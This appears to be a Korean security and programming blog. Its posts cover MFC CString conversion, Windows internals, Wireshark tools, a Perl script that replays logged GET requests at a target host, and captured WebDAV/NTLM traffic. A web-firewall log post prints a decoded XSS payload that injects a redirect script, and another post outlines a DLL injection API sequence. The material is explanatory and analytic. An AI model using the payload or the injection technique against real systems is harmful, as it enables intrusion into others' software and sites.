LPCTSTR : Constant character String의 32비트 포인터

UINT : 32비트 unsigned형 정수
DWORD : unsigned long int형

BYTE : 8비트 unsigned 정수

 

참고 : CString을 const char* 형태로 변경 -> (LPTSTR)(LPCTSTR)CString


LPCSTR :  A 32-bit pointer to a constant character string.
LPSTR :  A 32-bit pointer to a character string.
LPCTSTR :  A 32-bit pointer to a constant character string that is portable for Unicode and DBCS.
LPTSTR :  A 32-bit pointer to a character string that is portable for Unicode and DBCS.

 

CString from MSDN

http://msdn.microsoft.com/library/kor/default.asp?url=/library/KOR/vccore/html/_core_Strings3a_CString_Operations_Relating_to_C2dStyle_Strings.asp

 

대개 CString 개체의 내용은 마치 해당 개체가 C 스타일의 null로 끝나는 문자열인 것처럼 조작하는 것이 유용합니다. 이 문서에서는 다음과 같은 내용을 다룹니다.

C 스타일의 Null로 끝나는 문자열로 변환

다음 두 가지 경우를 참고하십시오.

  • 가장 간단한 경우 CString 개체를 LPCTSTR로 캐스팅할 수 있습니다. LPCTSTR 형식 변환 연산자는 CString 개체에서 null로 종료되는 읽기 전용 C 스타일 문자열에 대한 포인터를 반환합니다.

    LPCTSTR 에서 반환하는 포인터는 CString에서 사용하는 데이터 영역을 가리킵니다. CString이 범위를 벗어나 자동적으로 삭제되거나 다른 이유로 CString의 내용이 변경되면 LPCSTSR 포인터는 더 이상 유효하지 않습니다. 포인터가 가리키는 문자열은 임시 문자열로 처리됩니다.

  • SetAt 등의 CString 함수를 사용하여 문자열 개체의 개별 문자를 수정할 수 있습니다. 그러나 직접 수정할 수 있도록 CString 개체의 문자 복사본이 필요한 경우에는 다음 예제에서처럼 strcpy(또는 이식 가능한 유니코드/MBCS 함수인 _tcscpy)를 사용하여 문자를 안전하게 수정할 수 있는 별도의 버퍼에 CString 개체를 복사합니다.
              CString theString( "This is a test" );

    LPTSTR lpsz = new TCHAR[theString.GetLength()+1];

    _tcscpy(lpsz, theString);

    //... modify lpsz as much as you want
    참 고 strcpy(또는 이식 가능한 유니코드/MBCS 함수인 _tcscpy)의 두 번째 인수는const wchar_t*(유니코드) 또는 const char*(ANSI)입니다. 위 예제에서는 이 인수에 대해 CString을 전달합니다. C++ 컴파일러에서는 자동으로 CString 클래스에 대해 정의된 변환 함수를 적용하여 CString을 LPTSTR로 변환합니다. 한 형식을 다른 형식으로 캐스팅하는 연산을 정의하는 기능은 C++에서 가장 유용한 기능 중 하나입니다.

표준 런타임 라이브러리 문자열 함수 사용

대부분의 경우, strcmp(또는 이식 가능한 유니코드/MBCS 함수인 _tcscmp) 등의 표준 C 런타임 라이브러리 문자열 함수를 사용하여 문자열 작업을 수행하려면 CString 멤버 함수를 찾아야 합니다.

C 런타임 문자열 함수를 사용해야 하는 경우에는 C 스타일의 Null로 끝나는 문자열로 변환에서 설명하는 방법을 사용하여, CString 개체를 해당하는 C 스타일 문자열 버퍼로 복사하고 이 버퍼에서 작업을 수행한 다음 결과로 생성된 C 스타일 문자열을 다시 CString 개체에 할당할 수 있습니다.

CString 내용을 직접 수정

대부분의 경우 CString 개체의 내용을 수정하거나 CString을 C 스타일 문자열로 변환하려면 CString 멤버 함수를 사용해야 합니다.

그러나 문자 버퍼가 필요한 운영 체제 함수를 사용하여 작업하는 등의 일부 경우에는 CString의 내용을 직접 수정하는 것이 좋습니다.

GetBuffer 및 ReleaseBuffer 멤버 함수를 사용하면 CString 개체의 내부 문자 버퍼에 액세스하여 CString의 내용을 직접 수정할 수 있습니다. 다음 단계는 이러한 함수를 사용하여 CString의 내용을 직접 변경하는 방법입니다.

  1. CString 개체에 대해 GetBuffer를 호출하고 필요한 버퍼 길이를 지정합니다.
  2. GetBuffer에서 반환된 포인터를 사용하여 문자를 CString 개체에 직접 씁니다
  3. CString 개체에 대해 ReleaseBuffer를 호출하여 문자열 길이 등의 내부 CString 상태 정보를 모두 업데이트합니다. CString 개체의 내용을 직접 수정한 다음 다른 CString 멤버 함수를 호출하려면 먼저 ReleaseBuffer를 호출해야 합니다.

가변 인수를 사용하는 함수에 CString 개체 사용

일 부 C 함수에는 다양한 인수가 사용됩니다. 대표적인 예로 printf 함수가 있습니다. 이러한 종류의 함수를 선언하는 방식 때문에 컴파일러에서는 인수의 형식을 확인하지 못해 각 인수에 대해 수행할 변환 작업을 결정하지 못할 수 있습니다. 따라서 다양한 인수를 사용하는 함수에 CString 개체를 전달할 때는 명시적인 형식 캐스팅을 사용해야 합니다.

가변 인수를 사용하는 함수에 CString 개체를 사용하려면

  • 다음과 같이 CString을 LPCTSTR 문자열로 명시적으로 캐스팅합니다.
              CString kindOfFruit = "bananas";

    int howmany = 25;

    printf( "You have %d %s\n", howmany, (LPCTSTR)kindOfFruit );

CString 형식 매개 변수 지정

문 자열 인수가 필요한 함수의 경우에는 대부분 함수 프로토타입에 CString 대신 문자(LPCTSTR)에 대한 const 포인터로 형식 매개 변수를 지정하는 것이 좋습니다. 형식 매개 변수가 문자에 대한 const 포인터로 지정되면 TCHAR 배열에 대한 포인터, 리터럴 문자열 ["hi there"] 또는 CString 개체 중 하나를 전달할 수 있습니다. CString 개체는 자동으로 LPCTSTR로 변환됩니다. LPCTSTR을 사용할 수 있는 위치이면 어디에나 CString 개체를 사용할 수 있습니다.

인 수가 수정되지 않는 경우에는 형식 매개 변수를 상수 문자열 참조, 즉 const CString&로 지정할 수도 있습니다. 문자열이 함수에 의해 수정되는 경우에는 const 한정자를 삭제합니다. 기본 null 값이 필요하면 다음 예제에서처럼 null 문자열[""]로 초기화합니다.

          void AddCustomer( const CString& name,

const CString& address,

const CString& comment = "" );

대부분의 함수 결과에서 CString 개체를 간단히 값으로 반환할 수 있습니다.

 

CString 인수 전달 규칙

클래스 인터페이스를 정의할 때는 멤버 함수에 대한 인수 전달 규칙을 결정해야 합니다. CString 개체를 전달하고 반환하는 데는 몇 가지 표준 규칙이 있습니다. 함수 입력에 사용하는 문자열함수 출력에 사용하는 문자열에 설명된 규칙을 따르면 효율적이고 올바른 코드를 만들 수 있습니다.

함수 입력에 사용하는 문자열

문 자열을 함수에 입력하려면 대부분의 경우에는 문자열 함수 매개 변수를 LPCTSTR로 선언하는 것이 가장 좋습니다. 필요하면 생성자와 할당 연산자를 사용하여 함수 내에서 CString 개체로 변환합니다. 함수로 문자열 내용을 변경할 수 있도록 하려면 매개 변수를 상수가 아닌 CString 참조(CString&)로 선언합니다.

함수 출력에 사용하는 문자열

CString 개체는 기본 형식처럼 값 의미론 다음에 오므로 일반적으로 함수에서 CString 개체를 반환할 수 있습니다. 읽기 전용 문자열을 반환하려면 상수 CString 참조(const CString&)를 사용합니다. 다음 예제에서는 CString 매개 변수와 반환 형식의 사용 방법을 보여 줍니다.

          class CName : public CObject

{

private:

CString m_firstName;

char m_middleInit;

CString m_lastName;

public:

CName() {}

void SetData( LPCTSTR fn, const char mi, LPCTSTR ln )

{

m_firstName = fn;

m_middleInit = mi;

m_lastName = ln;

}

void GetData( CString& cfn, char mi, CString& cln )

{

cfn = m_firstName;

mi = m_middleInit;

cln = m_lastName;

}

CString GetLastName()

{

return m_lastName;

}

};

...

CName name;

CString last, first;

TCHAR middle;

name.SetData( "John", 'Q', "Public" );

ASSERT( name.GetLastName() == "Public" );

name.GetData( first, middle, last );

ASSERT( ( first == "John" ) && ( last == "Public" ) );

...

'programming > C++' 카테고리의 다른 글

wireshark 의 패킷수집절차  (0) 2010.07.17
gcc -lz옵션  (0) 2010.05.06
main, _tmain, wmain  (0) 2010.04.17
Posted by applicationlayer
:
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
require HTTP::Request;
require HTTP::Response;
if( $#ARGV != 1 )
  { die "Usage: geturireq.pl [target IP] [FileName]\nEx: geturireq.pl 192.168.1.20 Query.txt\n"; }
$ipaddress = $ARGV[0];
$fileName = $ARGV[1] ;
if( -d $fileName )
  { die "$fileName is a directory.\n"; }
-e $fileName || die "$fileName is not exist.\n";
-T $fileName || die "$fileName is not a text file.\n";
open( fileHandle, $fileName ) || die "Cannot open $fileName.\n";
$i = 1;
while($aLine =<fileHandle>)
{
  if($aLine=~/(?<=GET\s).*(?=\sHTTP\/\d\.\d)/)
  {
  $qu = 'http://'.$ipaddress.$&;
  $req = HTTP::Request->new(GET => $qu);
  $res = $ua->request($req);
  print $i.'. '.$qu."\r\n";
  $i=$i+1;
  }
}

'programming > perl' 카테고리의 다른 글

HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
WireShark HTTP파싱 스크립트  (0) 2009.09.30
HTTP요청 스크립트(ActivePerl)  (0) 2009.09.30
Posted by applicationlayer
:

DLL Injector

hooking 2009. 10. 2. 07:16 |

어느 DLL Injector를 보고 동일하게 구현해본 프로그램

OpenProcess>GetModuleHandle>GetProcAddress>VirtualAllocEx>WriteProcessMemory>CreateRemoteThread

'hooking' 카테고리의 다른 글

outputdebugstring사용  (0) 2011.06.25
[펌]메시지훅 예제  (0) 2009.11.02
지뢰찾기 핵  (0) 2009.11.01
hooking_study_1  (0) 2009.10.23
Posted by applicationlayer
:

실행중인 프로세스ID를 얻는 방법중 Toolhelp32를 이용한 방법과 PSAPI를 이용한 방법이 있다.
표준 API함수인 Toolhelp32를 이용하는 방법에 대하여 알아보기로 한다.
사용되는 함수는 다음과 같다.
CreateToolhelp32Snapshot(), Process32First(), Process32Next()


예제소스
#include <tlhelp32.h>

HANDLE hProcessSnap;
PROCESSENTRY32 pe32; //프로세스정보를 저장할 구조체
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First( hProcessSnap, &pe32 );
    printf( "\n  Process ID        = 0x%08X", pe32.th32ProcessID );
    printf( "\n  Thread count      = %d",   pe32.cntThreads );
    printf( "\n  Parent process ID = 0x%08X", pe32.th32ParentProcessID );
    printf( "\n  Priority base     = %d", pe32.pcPriClassBase );
while(Process32Next( hProcessSnap, &pe32 ))
{
    printf( "\n  Process ID        = 0x%08X", pe32.th32ProcessID );
    printf( "\n  Thread count      = %d",   pe32.cntThreads );
    printf( "\n  Parent process ID = 0x%08X", pe32.th32ParentProcessID );
    printf( "\n  Priority base     = %d", pe32.pcPriClassBase );
}



PROCESSENTRY32 구조 (tlhelp32.h)
 typedef struct tagPROCESSENTRY32
{
    DWORD   dwSize;
    DWORD   cntUsage;
    DWORD   th32ProcessID;          // this process
    DWORD   th32DefaultHeapID;
    DWORD   th32ModuleID;           // associated exe
    DWORD   cntThreads;
    DWORD   th32ParentProcessID;    // this process's parent process
    LONG    pcPriClassBase;         // Base priority of process's threads
    DWORD   dwFlags;
    CHAR    szExeFile[MAX_PATH];    // Path
} PROCESSENTRY32;

 

참조: http://support.microsoft.com/kb/175030/ko

'windows' 카테고리의 다른 글

PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
context switch  (0) 2009.10.01
세그먼트 레지스터  (0) 2009.10.01
Posted by applicationlayer
:

Microsoft Network Monitor

tips 2009. 10. 2. 01:31 |
Microsoft의 패킷캡쳐/ 분석 프로그램이다. 
프로세스별로 패킷을 나누어 볼 수 있다.

'tips' 카테고리의 다른 글

Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
WireShark의 부가기능  (0) 2009.10.01
Open Command Line on this Location  (0) 2009.09.30
Posted by applicationlayer
:

context switch

windows 2009. 10. 1. 22:56 |

Windows 유저모드(User Mode) 커널모드(Kernel Mode) 구분되어 프로세스가 실행된다. 커널 모드에서 동작하는 프로세스만이 컴퓨터에 장착된 모든 메모리와 하드웨어에 대한 직접적인 접근이 가능하며 디바이스 드라이버가 가장 대표적인 예라고 있다. 일반적인 윈도우 프로그램의 경우 유저모드 프로세스가 작동하는 것이므로 직접 하드웨어 장치나 메모리에 접근할 수는 없다. 하드웨어 장치나 메모리에 접근하기 위해서는 유저모드 프로그램은 시스템 서비스(API라고 이해바람) 호출하게 되고 운영체제는 TRAP 발생시켜 커널 모드로의 스위칭을 위한 스레드를 호출 하게 . 스레드에서 하드웨어 장치 또는 메모리에 접근하게 된다. 이를 context switch라고 .

'windows' 카테고리의 다른 글

PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
Toolhelp32를 이용한 프로세스ID얻기  (0) 2009.10.02
세그먼트 레지스터  (0) 2009.10.01
Posted by applicationlayer
:

세그먼트 레지스터

windows 2009. 10. 1. 22:48 |

과거 8086시대의 16bit시스템에서는 1MB의 물리메모리에 접근하기 위하여 세그먼트레지스터를 사용하였다. 16bit로 이루어진 세그먼트레지스터(CS,SS,DS,ES...)는 16bit의 범용레지스터와 함께 사용되어 원하는 메모리범위에 접근할 수 있었다.

80386시대(32bit)에 오면서 범용레지스터는 더이상 용량의 한계로 세그먼트레지스터의 도움을 받을 필요가 없었으나 여전히 세그먼트레지스터는 범용레지스터와 함께 주소표시방법에 사용된다. 다만 권한, 영역제한, 메모리보호등의 목적으로 사용될 뿐이다.

세그먼테이션
세그먼트레지스터와 사용자가 지정한 메모리를 조합하는 과정을 세그먼테이션이라고 한다.

CPU는 부트과정 초기에 메모리에 GDT(Global Discriptor Table)와 LDT(Local Discriptor Table)를 생성후 CPU의 GDTR(Global Discriptor Table Register)과 LDTR(Local Discriptor Table Register)에 해당 테이블의 주소를 저장한다.
디스크립터 테이블은 세그먼트 디스크립터의 목록이라고 볼 수 있으며,
세그먼트 디스크립터는 메모리에 대한 속성 권한 영역등의 정보를 가지고 있다.
세그먼트레지스터는 세그먼트디스크립터의 위치에 대한 정보를 가지고 있고
세그먼트레지스터와 메모리오프셋의 조합(세그먼테이션)과정으로 해당 메모리에 대한 보호가 이루어지게 된다.

 

세그먼트디스크립터

8byte의 세그먼트디스크립터는 여러가지 보호정보를 가지고 있으며
세그먼트레지스터는 세그먼트 디스크립터의 인덱스정보만을 저장하고 있을 뿐이다.


디스크립터 테이블
디스크립터 테이블은 세그먼트디스크립터의 목록이며 GDT와 LDT가 있다.
GDT란 모든프로그램이 참조할 수 있는 세그먼트 디스크립터의 모임이며 운영체제 제작시 반드시 만들어 주어야 하는 디스크립터 테이블이다.
LDT란 테스크 단위로 정의할 수 있는 테이블이며 윈도우NT의 일반적인 경우 이 LDT를 정의하지 않는다. 이 둘은 각각 CPU의 GDTR과 LDTR에 의해 지시된다.


세그먼트 셀렉터
보호모드에서의 세그먼트레지스터는 과거의 메모리확장 용도가 아닌 세그먼트디스크립터를 지시하는 용도로 사용되기 때문에 이를 세그먼트 셀렉터라 부르기도 한다.

 

 

 

'windows' 카테고리의 다른 글

PIMAGE_IMPORT_DESCRIPTOR  (0) 2010.05.24
WinNT.h  (0) 2010.05.24
GetModuleHandle과 LoadLibrary  (0) 2010.05.11
Toolhelp32를 이용한 프로세스ID얻기  (0) 2009.10.02
context switch  (0) 2009.10.01
Posted by applicationlayer
:

웹 방화벽장비에 남은 로그.

XSS공격명으로 기록이 되어있다.

 

GET /XXX.html?xxx=1&xxx=110&xxx=1602&xxx=25&xxx=301&xxx=xxx&xxx=13%22%3E%3Cscript%3Eself.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);%3C/script%3E HTTP/1.1
Host: www.xxx.xx.xx
Connection: Keep-alive
Accept: */*
User-Agent: Mediapartners-Google
Accept-Encoding: gzip,deflate

 

변환

"><script>self.location=String.fromCharCode(104,116,116,112,58,47,47,103,111,111,103,108,101,46,99,111,109);</script>

 

Mediapartners-Google에 대한 정보는

http://www.internetofficer.com/web-robot/adsense/

에서 찾을 수 있다.

 

 

'webhxxx > weblog' 카테고리의 다른 글

안드로이드 user-agent  (0) 2010.05.11
허니팟  (0) 2010.03.14
Zeroboard4 코드실행 취약점을 이용한 웹쉘공격  (0) 2010.03.09
Pangolin(MSSQL)  (0) 2009.12.18
[webdav]웹 폴더서비스 이용시 발생하는 트래픽  (0) 2009.09.30
Posted by applicationlayer
:

WireShark의 부가기능

tips 2009. 10. 1. 10:19 |

WireShark의 유용한 프로그램들

 

tshark - Dump and analyze network traffic
tshark.exe -i <인터페이스번호> -w 파일명

 

mergecap - 둘 이상의 cap파일을 합친다.
mergecap.exe -w 3.cap 1.cap 2.cap

 

capinfos - cap파일의 정보를 출력

capinfos.exe 1.cap

 

dumpcap - Dump network traffic

dumpcap.exe -i <인터페이스번호> -w 파일명


editcap - Edit and/or translate the format of capture files
==============================================================================================

To shrink the capture file by truncating the packets at 64 bytes and writing it as Sun snoop file use:

    editcap -s 64 -F snoop capture.pcap shortcapture.snoopTo delete packet 1000 from the capture file use:

    editcap capture.pcap sans1000.pcap 1000To limit a capture file to packets from number 200 to 750 (inclusive) use:

    editcap -r capture.pcap small.pcap 200-750To get all packets from number 1-500 (inclusive) use:

    editcap -r capture.pcap first500.pcap 1-500or

    editcap capture.pcap first500.pcap 501-9999999To exclude packets 1, 5, 10 to 20 and 30 to 40 from the new file use:

    editcap capture.pcap exclude.pcap 1 5 10-20 30-40To select just packets 1, 5, 10 to 20 and 30 to 40 for the new file use:

    editcap -r capture.pcap select.pcap 1 5 10-20 30-40To remove duplicate packets seen within the prior four frames use:

    editcap -d capture.pcap dedup.pcapTo remove duplicate packets seen within the prior 100 frames use:

    editcap -D 101 capture.pcap dedup.pcapTo remove duplicate packets seen equal to or less than 1/10th of a second:

    editcap -w 0.1 capture.pcap dedup.pcapTo display the MD5 hash for all of the packets (and NOT generate any real output file):

    editcap -v -D 0 capture.pcap /dev/nullor on Windows systems

    editcap -v -D 0 capture.pcap NULTo introduce 5% random errors in a capture file use:

  editcap -E 0.05 capture.pcap capture_error.pcap

================================================================================================

 

이어서...

'tips' 카테고리의 다른 글

Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
Microsoft Network Monitor  (0) 2009.10.02
Open Command Line on this Location  (0) 2009.09.30
Posted by applicationlayer
:

현재 실행 중인 기능함수와 그 기능함수를 호출한 기능함수에 대한 인수를 나타내는 개체이다

 

함수가 호출되면 그 함수에 대한 Arguments 객체가 생성된다. Arguments 객체는 원칙적으로 배열이 아니지만 번호 붙은 속성들이 있어서 이들이 배열 원소처럼 작동하며, 이러한 배열 원소의 수를 나타내는 length 속성도 있다.

 

functionObj.length는 기능함수에서 정의된 인수의 갯수이고
functionObj.arguments.length는 기능함수가 호출될 때 전달받은 인수의 갯수이다.

 

MS09-045에서 Arguments라는 이름을 함수로써 사용하는 경우 메모리충돌이 발생하는 취약점이 발견되었다.

 

출처: koxo

 

'programming > javascript' 카테고리의 다른 글

클립보드 접근  (0) 2010.04.14
Posted by applicationlayer
:
PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQDsnDdeAQV/SQAAAAAAAAAAAAAAAAAAAACh8p+t4T4+XdZdtsV4s8tj/GcgVyT3lr0=


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


PROPFIND /abcde HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQD5Ny27vKTK/wAAAAAAAAAAAAAAAAAAAAARj63LuPEW89D65dh5MzMarSXKO+g/NAk=
Content-Length: 489

<?xml version="1.0" encoding="UTF-8" ?>
<a:propfind xmlns:a="DAV:" xmlns:b="urn:schemas-microsoft-com:datatypes">
<a:prop>
<a:name/>
<a:parentname/>
<a:href/>
<a:ishidden/>
<a:isreadonly/>
<a:getcontenttype/>
<a:contentclass/>
<a:getcontentlanguage/>
<a:creationdate/>
<a:lastaccessed/>
<a:getlastmodified/>
<a:getcontentlength/>
<a:iscollection/>
<a:isstructureddocument/>
<a:defaultdocument/>
<a:displayname/>
<a:isroot/>
<a:resourcetype/>
</a:prop>
</a:propfind>


OPTIONS / HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==


OPTIONS /abcde/%EC%9C%A0 HTTP/1.1
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider Protocol Discovery
Host: 192.168.1.152
Content-Length: 0
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAADAAAAGAAYAJ4AAAAYABgAtgAAAB4AHgBIAAAAGgAaAGYAAAAeAB4AgAAAAAAAAADOAAAABYKIogUBKAoAAAAPTgBPAFcAQwBPAE0ALQBRADYAVABRADMARgBUAFkAYQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBGAFUASgBJAFQAUwBVAC0ANAA3ADcANwA4AEIARQAn6dHO6R2IbwAAAAAAAAAAAAAAAAAAAAD3pcr4LPCeDLyddbAl5j2KJKQ5h+yDKDo=


PROPFIND /abcde/%EC%9C%A0 HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 0
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive


PROPFIND /abcde/%EC%9C%A0 HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Content-Type: text/xml
Translate: f
Depth: 1
Content-Length: 0
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive
Authorization: Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAFASgKAAAADw==







=============폴더와 폴더간 파일요청=============================
GET /abcde/%EC%9C%A0/%EC%9C%A0.txt HTTP/1.1
Content-Language: en-us
Accept-Language: ko, en-us;q=0.2
Translate: f
User-Agent: Microsoft Data Access Internet Publishing Provider DAV
Host: 192.168.1.152
Connection: Keep-Alive

=============웹을 통한 파일요청=============================
GET /abcde/%C0%AF/%C0%AF.txt HTTP/1.0
Accept: */*
Accept-Language: ko
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)
Host: 192.168.1.152
Connection: Keep-Alive
2009/05/19 16:21 2009/05/19 16:21

'webhxxx > weblog' 카테고리의 다른 글

안드로이드 user-agent  (0) 2010.05.11
허니팟  (0) 2010.03.14
Zeroboard4 코드실행 취약점을 이용한 웹쉘공격  (0) 2010.03.09
Pangolin(MSSQL)  (0) 2009.12.18
User-Agent: Mediapartners-Google  (0) 2009.10.01
Posted by applicationlayer
:

Open Command Line on this Location

'tips' 카테고리의 다른 글

Apache DefaultCharset  (0) 2009.12.04
IE 8.0에서 세션공유기능 해제  (0) 2009.11.17
DbgView  (0) 2009.10.23
Microsoft Network Monitor  (0) 2009.10.02
WireShark의 부가기능  (0) 2009.10.01
Posted by applicationlayer
:

wireshark export packet details-All expanded 에 대한 파싱스크립트

 

* HTTP GET *

==========================================================================================

if( $#ARGV < 0 )
  { die "Supply a file name, please.\n"; }
if( $#ARGV > 0 )
  { die "Too many parameter.\n"; }

$fileName = shift( @ARGV );

if( -d $fileName )
  { die "$fileName is a directory.\n"; }

-e $fileName || die "$fileName is not exist.\n";

-T $fileName || die "$fileName is not a text file.\n";

open( fileHandle, $fileName ) || die "Cannot open $fileName.\n";
$matching = 0;
$i=1;
while($aLine =<fileHandle>)
{
  if($aLine =~/^\s*?GET \//)
  {
    print $i.'.'.$aLine;
    $i = $i+1;
  }
}
close(fileHandle);
==========================================================================================

 

* HTTP Header *

==========================================================================================

if( $#ARGV < 0 )
  { die "Supply a file name, please.\n"; }
if( $#ARGV > 0 )
  { die "Too many parameter.\n"; }

$fileName = shift( @ARGV );

if( -d $fileName )
  { die "$fileName is a directory.\n"; }

-e $fileName || die "$fileName is not exist.\n";

-T $fileName || die "$fileName is not a text file.\n";

open( fileHandle, $fileName ) || die "Cannot open $fileName.\n";
$matching = 0;
$i=0;
while($aLine =<fileHandle>)
{
  if($aLine =~/^\s{4}\\r\\n/)
  {

    $matching = 0;
  }
  if($matching == 1)
  {
    print $i.'.'.$aLine;

   }
  if($aLine =~/Request Version: HTTP\/1\./)
  {
    $matching = 1;
    $i = $i+1;
  }

}
close(fileHandle);

==========================================================================================

'programming > perl' 카테고리의 다른 글

HTTP 파일업로드(Perl)  (0) 2009.12.30
web login dictionary attack  (0) 2009.12.03
HTTP요청 스크립트(ActivePerl) form-data  (0) 2009.11.19
apache log shooter(GET)  (0) 2009.10.11
HTTP요청 스크립트(ActivePerl)  (0) 2009.09.30
Posted by applicationlayer
: